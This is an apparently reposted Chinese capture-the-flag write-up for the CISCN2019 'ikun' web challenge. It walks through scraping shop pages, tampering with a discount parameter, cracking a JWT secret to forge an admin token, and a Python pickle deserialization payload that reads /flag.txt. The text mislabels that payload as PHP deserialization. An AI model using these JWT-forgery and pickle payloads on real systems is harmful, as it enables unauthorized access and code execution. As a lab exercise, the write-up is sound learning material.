ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

[CISCN2019 华北赛区 Day1 Web2]ikun

2021-10-23 18:02:34  阅读:218  来源: 互联网

标签:lv6 ikun url JWT Day1 Web2 print import payload


[CISCN2019 华北赛区 Day1 Web2]ikun

首先打开题目地址

左下角有个提示,说ikun们一定要买到lv6,还有爆破的字样

可以看到有很多购买链接,但是发现没翻了几页都没有发现lv6,直接用python写个脚本去寻找

import requests

for i in range(1,201):
    url='http://4dab904b-159f-45a0-bf6a-441fa36b2427.node4.buuoj.cn:81/shop?page='+str(i)
    result=requests.get(url).content.decode('utf-8')
    if 'lv6.png' in result:
        print(url+'ok')
    else:
        print(url+'no')


找到lv6进行购买

结算发现钱是不够的,说明这里很有可能存在逻辑漏洞

尝试修改优惠卷的的折数

再次购买发现就不是购买失败了,而是说该页面只允许admin用户访问

查看页面的cookie信息

发现这里涉及JWT,将JWT先进行解密

猜测这里只需要将username改为admin即可,但是还需要破解出他的密匙
这里需要用到一个工具

然后伪造生成的JWT生成JWT网站
![](https://www.icode9.com/i/ll/?i=89ddf5999aa74e41b94a637eaa63a629.png?x-oss-process=image)
然后抓包进行修改JWT
在这个页面进行抓包

修改JWT的值


然后发现点击一键成为大会员也没有发现什么,查看源代码看看有什么线索

发现有一个压缩包,将他下载下来
解压后得到如下文件

放到idea里进行分析
找到一处php反序列化的位置,在admin.py

然后写上序列化的payload,在kali上运行

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a


最后将生成的payload传给become
检查源代码直接将hidden进行删除

然后填入生成payload获得flag

标签:lv6,ikun,url,JWT,Day1,Web2,print,import,payload
来源: https://blog.csdn.net/kukudeshuo/article/details/120922635

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有